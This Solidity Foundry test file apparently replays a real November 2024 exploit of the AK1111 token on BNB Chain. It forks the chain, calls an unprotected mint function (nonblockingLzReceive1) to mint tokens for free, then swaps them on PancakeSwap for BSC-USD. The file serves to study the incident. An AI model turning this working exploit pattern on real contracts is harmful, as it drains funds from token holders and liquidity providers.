src/test/2024-11/Ak1111_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 31.5K USD
8// Attacker : https://bscscan.com/address/0xCe21C6e4fa557A9041FA98DFf59A4401Ef0a18aC
9// Attack Contract : https://bscscan.com/address/0xbFD7280B11466bc717EB0053A78675aed2C2E388
10// Vulnerable Contract : https://bscscan.com/address/0xc3B1b45e5784A8efececfC0BE2E28247d3f49963
11// Attack Tx : https://bscscan.com/tx/0xc29c98da0c14f4ca436d38f8238f8da1c84c4b1ee6480c4b4facc4b81a013438
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xc3B1b45e5784A8efececfC0BE2E28247d3f49963#code
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/TenArmorAlert/status/1860554838897197135
19// Hacking God : N/A
20pragma solidity ^0.8.0;
21 
22address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
23address constant PANCAKE_FACTORY = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
24address constant AK1111_ADDR = 0xc3B1b45e5784A8efececfC0BE2E28247d3f49963;
25address constant CAKE_LP = 0x794ed5E8251C4A8D321CA263D9c0bC8Ecf5fA1FF;
26address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
27 
28contract Ak1111 is BaseTestWithBalanceLog {
29    uint256 blocknumToForkFrom = 44280829 - 1;
30 
31    function setUp() public {
32        vm.createSelectFork("bsc", blocknumToForkFrom);
33        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34        fundingToken = BSC_USD;
35    }
36 
37    function testExploit() public balanceLog {
38        //implement exploit code here
39        IAk1111 ak1111 = IAk1111(AK1111_ADDR);
40        uint256 ak1111Balance = ak1111.balanceOf(CAKE_LP);
41 
42        // this function is lack of access control. anyone call it to mint AK1111 token for free
43        ak1111.nonblockingLzReceive1(0, address(this), ak1111Balance, "");
44 
45        ak1111.approve(PANCAKE_ROUTER, type(uint256).max);
46        address[] memory path = new address[](2);
47        path[0] = AK1111_ADDR;
48        path[1] = BSC_USD;
49        IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(ak1111Balance, 0, path, address(this), block.timestamp);
50    }
51}
52 
53interface IAk1111 is IERC20 {
54    function nonblockingLzReceive1(uint16 _srcChainId, address _srcAddress, uint256 _nonce, bytes memory _payload) external;
55}